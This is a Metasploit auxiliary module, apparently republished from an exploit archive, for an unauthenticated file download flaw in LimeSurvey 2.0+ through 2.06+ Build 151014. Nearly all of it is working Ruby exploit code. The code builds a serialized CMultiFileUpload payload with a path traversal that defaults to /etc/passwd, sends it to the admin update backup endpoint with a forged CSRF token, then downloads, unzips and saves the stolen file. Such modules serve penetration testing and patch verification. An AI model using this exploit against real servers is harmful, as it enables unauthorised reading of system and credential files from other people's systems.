Headline
Limesurvey Unauthenticated File Download
This Metasploit module exploits an unauthenticated file download vulnerability in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded as a ZIP and unzipped automatically, thus binary files can be downloaded.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### for extracting filesrequire 'zip'class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Limesurvey Unauthenticated File Download', 'Description' => %q{ This module exploits an unauthenticated file download vulnerability in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded as a ZIP and unzipped automatically, thus binary files can be downloaded. }, 'Author' => [ 'Pichaya Morimoto', # Vulnerability Discovery 'Christian Mehlmauer' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'], ['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'], ['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1'] ], 'DisclosureDate' => '2015-10-12' ) ) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']), OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15]) ] ) end def filepath datastore['FILEPATH'] end def traversal_depth datastore['TRAVERSAL_DEPTH'] end def payload traversal = '/..' * traversal_depth file = "#{traversal}#{filepath}" serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}' Rex::Text.encode_base64(serialized) end def unzip_file(zipfile) zip_data = Hash.new begin Zip::File.open_buffer(zipfile) do |filezip| filezip.each do |entry| zip_data[::File.expand_path(entry.name)] = filezip.read(entry) end end rescue Zip::Error => e print_error("Error extracting ZIP: #{e}") end return zip_data end def run csrf_token = Rex::Text.rand_text_alpha(10) vars_post = { 'YII_CSRF_TOKEN' => csrf_token, 'destinationBuild' => Rex::Text.rand_text_alpha(5), 'datasupdateinfo' => payload } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'), 'cookie' => "YII_CSRF_TOKEN=#{csrf_token}", 'vars_post' => vars_post }) if res && res.code == 200 && res.body && res.body.include?('Download this file') match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>}) if match local_path = match[1] download_url = match[2] print_status("File saved to #{local_path}") print_status("Downloading backup from URL #{download_url}") res = send_request_cgi({ 'method' => 'GET', 'uri' => download_url }) if res && res.code == 200 unzipped = unzip_file(res.body) unzipped.each do |filename, content| print_good("Filename: #{filename}") print_good(content) path = store_loot( 'limesurvey.http', 'application/octet-stream', rhost, content, filename ) print_good("File saved in: #{path}") end else print_error('Failed to download file') end else print_error('Failed to download file') end else print_error('Failed to download file') end endend